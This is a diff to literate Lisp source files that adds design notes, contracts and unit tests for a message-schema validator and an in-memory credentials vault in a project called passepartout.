The Protocol Validator enforces schema compliance on every message entering or leaving the cognitive pipeline. It checks that messages are valid plists, that they have the required ~:type~ and ~:payload~ fields, and that the type is one of the known types (~:REQUEST~, ~:EVENT~, ~:RESPONSE~, ~:LOG~, ~:STATUS~). This prevents malformed messages from crashing the pipeline and ensures backward compatibility when the protocol evolves.
|
||||||
|
|
||||||
|
* Architectural Intent
|
||||||
|
|
||||||
|
The Protocol Validator wraps ~validate-communication-protocol-schema~
|
||||||
|
(the core communication function) in a skill-level gate. It is the first
|
||||||
|
filter every message passes through — malformed messages are rejected
|
||||||
|
before they reach any cognitive stage.
|
||||||
|
|
||||||
|
** Contract
|
||||||
|
|
||||||
|
1. (validator-protocol-check msg): returns ~msg~ if valid per
|
||||||
|
~validate-communication-protocol-schema~. Signals ~error~ on
|
||||||
|
malformed messages (caught by the skill's deterministic gate).
|
||||||
|
2. The skill's deterministic gate wraps the validator: valid actions pass
|
||||||
|
through; invalid actions produce a ~:LOG~ rejection with
|
||||||
|
~:level :error~.
|
||||||
|
|
||||||
|
** Boundaries
|
||||||
|
|
||||||
|
- Does NOT define the schema — that is ~core-communication.org~.
|
||||||
|
- Does NOT validate semantic content — that is the Bouncer and Policy.
|
||||||
|
|
||||||
* Implementation
|
* Implementation
|
||||||
|
|
||||||
|
** Package Context
|
||||||
|
#+begin_src lisp
|
||||||
|
(in-package :passepartout)
|
||||||
|
#+end_src
|
||||||
|
|
||||||
** Validation Logic
|
** Validation Logic
|
||||||
;; REPL-VERIFIED: 2026-05-03T13:00:00
|
;; REPL-VERIFIED: 2026-05-03T13:00:00
|
||||||
#+begin_src lisp
|
#+begin_src lisp
|
||||||
@@ -28,3 +54,35 @@ The Protocol Validator enforces schema compliance on every message entering or l
|
|||||||
(error (c)
|
(error (c)
|
||||||
(list :type :LOG :payload (list :level :error :text (format nil "Protocol Violation: ~a" c)))))))
|
(list :type :LOG :payload (list :level :error :text (format nil "Protocol Violation: ~a" c)))))))
|
||||||
#+end_src
|
#+end_src
|
||||||
|
|
||||||
|
* Test Suite
|
||||||
|
|
||||||
|
#+begin_src lisp
|
||||||
|
(eval-when (:compile-toplevel :load-toplevel :execute)
|
||||||
|
(ql:quickload :fiveam :silent t))
|
||||||
|
|
||||||
|
(defpackage :passepartout-security-validator-tests
|
||||||
|
(:use :cl :fiveam :passepartout)
|
||||||
|
(:export #:validator-suite))
|
||||||
|
|
||||||
|
(in-package :passepartout-security-validator-tests)
|
||||||
|
|
||||||
|
(def-suite validator-suite :description "Verification of the Protocol Validator")
|
||||||
|
(in-suite validator-suite)
|
||||||
|
|
||||||
|
(test test-validator-passes-valid-message
|
||||||
|
"Contract 1: a valid message passes protocol check."
|
||||||
|
(let ((msg '(:type :EVENT :payload (:sensor :heartbeat))))
|
||||||
|
(handler-case
|
||||||
|
(progn
|
||||||
|
(validator-protocol-check msg)
|
||||||
|
(pass))
|
||||||
|
(error (c)
|
||||||
|
(fail "Validator rejected a valid message: ~a" c)))))
|
||||||
|
|
||||||
|
(test test-validator-rejects-missing-type
|
||||||
|
"Contract 1: a message missing :type is rejected."
|
||||||
|
(let ((msg '(:payload (:sensor :heartbeat))))
|
||||||
|
(signals error
|
||||||
|
(validator-protocol-check msg))))
|
||||||
|
#+end_src
|
||||||
|
|||||||
@@ -6,8 +6,42 @@
|
|||||||
* Overview
|
* Overview
|
||||||
The *Credentials Vault* provides secure in-memory storage for sensitive API keys and session tokens.
|
The *Credentials Vault* provides secure in-memory storage for sensitive API keys and session tokens.
|
||||||
|
|
||||||
|
* Architectural Intent
|
||||||
|
|
||||||
|
The Credentials Vault isolates secrets from the rest of the system in
|
||||||
|
a dedicated hash-table. It provides simple get/set primitives with
|
||||||
|
environment-variable fallback for known providers. This is the single
|
||||||
|
place where credentials enter the system — every provider skill routes
|
||||||
|
through here.
|
||||||
|
|
||||||
|
** Contract
|
||||||
|
|
||||||
|
1. (vault-set provider secret &key type): stores secret under
|
||||||
|
~(format nil "~a-~a" provider type)~ in ~*vault-memory*~.
|
||||||
|
2. (vault-get provider &key type): returns the stored secret, or falls
|
||||||
|
back to the appropriate environment variable for known providers
|
||||||
|
(~:openai~, ~:anthropic~, ~:openrouter~, ~:gemini~). Returns NIL
|
||||||
|
if neither exists.
|
||||||
|
3. (vault-get-secret provider): wrapper — calls ~vault-get~ with
|
||||||
|
~:type :secret~.
|
||||||
|
4. (vault-set-secret provider secret): wrapper — calls ~vault-set~
|
||||||
|
with ~:type :secret~.
|
||||||
|
5. Vault isolation: storing a secret for provider A does not affect
|
||||||
|
provider B's entry. Different ~:type~ values produce different keys.
|
||||||
|
|
||||||
|
** Boundaries
|
||||||
|
|
||||||
|
- Does NOT encrypt at rest — that is the session layer's responsibility.
|
||||||
|
- Does NOT validate key format — the provider skill does that.
|
||||||
|
- Does NOT rotate or expire keys — this is a simple store.
|
||||||
|
|
||||||
* Implementation
|
* Implementation
|
||||||
|
|
||||||
|
** Package Context
|
||||||
|
#+begin_src lisp
|
||||||
|
(in-package :passepartout)
|
||||||
|
#+end_src
|
||||||
|
|
||||||
** Vault Storage
|
** Vault Storage
|
||||||
;; REPL-VERIFIED: 2026-05-03T13:00:00
|
;; REPL-VERIFIED: 2026-05-03T13:00:00
|
||||||
#+begin_src lisp
|
#+begin_src lisp
|
||||||
@@ -41,7 +75,6 @@ The *Credentials Vault* provides secure in-memory storage for sensitive API keys
|
|||||||
(let ((key (format nil "~a-~a" provider type)))
|
(let ((key (format nil "~a-~a" provider type)))
|
||||||
(setf (gethash key *vault-memory*) secret)))
|
(setf (gethash key *vault-memory*) secret)))
|
||||||
#+end_src
|
#+end_src
|
||||||
#+end_src
|
|
||||||
|
|
||||||
** Secret Wrappers (gateway-messaging)
|
** Secret Wrappers (gateway-messaging)
|
||||||
|
|
||||||
@@ -62,11 +95,65 @@ Delegates to the existing =vault-get=/=vault-set= with ~:type :secret~.
|
|||||||
"Stores a secret or token for a gateway provider."
|
"Stores a secret or token for a gateway provider."
|
||||||
(vault-set provider secret :type :secret))
|
(vault-set provider secret :type :secret))
|
||||||
#+end_src
|
#+end_src
|
||||||
#+end_src
|
|
||||||
|
|
||||||
** Skill Registration
|
** Skill Registration
|
||||||
#+begin_src lisp
|
#+begin_src lisp
|
||||||
(defskill :passepartout-security-vault
|
(defskill :passepartout-security-vault
|
||||||
:priority 600
|
:priority 600
|
||||||
:trigger (lambda (ctx) (declare (ignore ctx)) nil))
|
:trigger (lambda (ctx) (declare (ignore ctx)) nil))
|
||||||
|
#+end_src
|
||||||
|
|
||||||
|
* Test Suite
|
||||||
|
|
||||||
|
#+begin_src lisp
|
||||||
|
(eval-when (:compile-toplevel :load-toplevel :execute)
|
||||||
|
(ql:quickload :fiveam :silent t))
|
||||||
|
|
||||||
|
(defpackage :passepartout-security-vault-tests
|
||||||
|
(:use :cl :fiveam :passepartout)
|
||||||
|
(:export #:vault-suite))
|
||||||
|
|
||||||
|
(in-package :passepartout-security-vault-tests)
|
||||||
|
|
||||||
|
(def-suite vault-suite :description "Verification of the Credentials Vault")
|
||||||
|
(in-suite vault-suite)
|
||||||
|
|
||||||
|
(test test-vault-round-trip
|
||||||
|
"Contract 1: vault-set stores a value; vault-get retrieves it."
|
||||||
|
(let ((test-key :vault-test-round-trip)
|
||||||
|
(test-secret "secret-abc123"))
|
||||||
|
(vault-set test-key test-secret)
|
||||||
|
(is (string= test-secret (vault-get test-key)))
|
||||||
|
;; Clean up
|
||||||
|
(vault-set test-key nil)))
|
||||||
|
|
||||||
|
(test test-vault-missing-key
|
||||||
|
"Contract 2: vault-get returns NIL for an unset, unknown provider."
|
||||||
|
(is (null (vault-get :nonexistent-provider-xyz))))
|
||||||
|
|
||||||
|
(test test-vault-isolation
|
||||||
|
"Contract 5: storing for provider A does not affect provider B."
|
||||||
|
(vault-set :vault-prov-a "secret-a")
|
||||||
|
(vault-set :vault-prov-b "secret-b")
|
||||||
|
(is (string= "secret-a" (vault-get :vault-prov-a)))
|
||||||
|
(is (string= "secret-b" (vault-get :vault-prov-b)))
|
||||||
|
(vault-set :vault-prov-a nil)
|
||||||
|
(vault-set :vault-prov-b nil))
|
||||||
|
|
||||||
|
(test test-vault-secret-wrappers
|
||||||
|
"Contracts 3,4: vault-get-secret and vault-set-secret use :type :secret."
|
||||||
|
(let ((test-provider :vault-secret-test))
|
||||||
|
(vault-set-secret test-provider "my-token")
|
||||||
|
(is (string= "my-token" (vault-get-secret test-provider)))
|
||||||
|
;; Clean up
|
||||||
|
(vault-set-secret test-provider nil)))
|
||||||
|
|
||||||
|
(test test-vault-type-isolation
|
||||||
|
"Contract 5: different :type values produce different keys."
|
||||||
|
(vault-set :vault-type-test "key-value" :type :api-key)
|
||||||
|
(vault-set :vault-type-test "secret-value" :type :secret)
|
||||||
|
(is (string= "key-value" (vault-get :vault-type-test :type :api-key)))
|
||||||
|
(is (string= "secret-value" (vault-get :vault-type-test :type :secret)))
|
||||||
|
(vault-set :vault-type-test nil :type :api-key)
|
||||||
|
(vault-set :vault-type-test nil :type :secret))
|
||||||
#+end_src
|
#+end_src
|
||||||
Reference in New Issue
Block a user